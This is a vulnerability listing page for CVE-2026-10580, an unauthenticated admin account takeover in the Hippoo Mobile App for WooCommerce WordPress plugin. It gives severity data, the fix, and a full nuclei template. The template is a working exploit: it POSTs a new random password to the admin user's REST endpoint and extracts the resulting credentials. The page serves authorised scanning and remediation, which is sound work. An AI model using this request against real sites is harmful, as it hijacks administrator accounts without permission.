Browse / CVEs / CVE-2026-10580
CVE-2026-10580· hippoo / hippoo-mobile-app-for-woocommerce· CWE-285
Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover
criticalseverity
9.8CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it
Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.
Impact
Unauthenticated attackers can reset any WordPress user's password, including administrators, gaining full administrative control of the site.
Fix
Update to a version later than 1.9.4 or the latest available version.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/hippoo/readme.txt
Positive when: status_code == 200 and contains(body, 'Hippoo')
Send: POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1
Positive when: status_code_1 == 200 || status_code_2 == 200 and contains_any(body, "is_super_admin","capabilities") and contains(body, "woocommerce_meta")Run it with nuclei: nuclei -id CVE-2026-10580 -u <target>
The full check
id: CVE-2026-10580
info:
name: Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover
author: pussycat0x
severity: critical
description: |
Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.
impact: |
Unauthenticated attackers can reset any WordPress user's password, including administrators, gaining full administrative control of the site.
remediation: |
Update to a version later than 1.9.4 or the latest available version.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hippoo/hippoo-mobile-app-for-woocommerce-194-unauthenticated-authentication-bypass-to-administrator-account-takeover-via-rest-api
- https://plugins.trac.wordpress.org/changeset/3557733
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-10580
epss-score: 0.02948
epss-percentile: 0.87276
cwe-id: CWE-285
metadata:
max-request: 2
vendor: hippoo
product: hippoo-mobile-app-for-woocommerce
framework: wordpress
verified: true
shodan-query: http.component:"wordpress"
fofa-query: body="hippoo"
tags: cve,cve2026,wordpress,wp-plugin,hippoo,woocommerce,intrusive
variables:
new_password: "{{rand_base(16)}}"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/hippoo/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Hippoo')"
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
part: body
group: 1
regex:
- 'Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"password":"{{new_password}}"}
- |
POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"password":"{{new_password}}"}
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200 || status_code_2 == 200'
- 'contains_any(body, "is_super_admin","capabilities")'
- 'contains(body, "woocommerce_meta")'
condition: and
extractors:
- type: regex
name: username
part: body
group: 1
regex:
- '"username":"([^"]+)"'
- type: dsl
name: new_password
dsl:
- new_passwordReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hippoo/hippoo-mobile-app-for-woocommerce-194-unauthenticated-authentication-bypass-to-administrator-account-takeover-via-rest-api
- https://plugins.trac.wordpress.org/changeset/3557733
Use this check only on systems you are authorised to test. Where the data comes from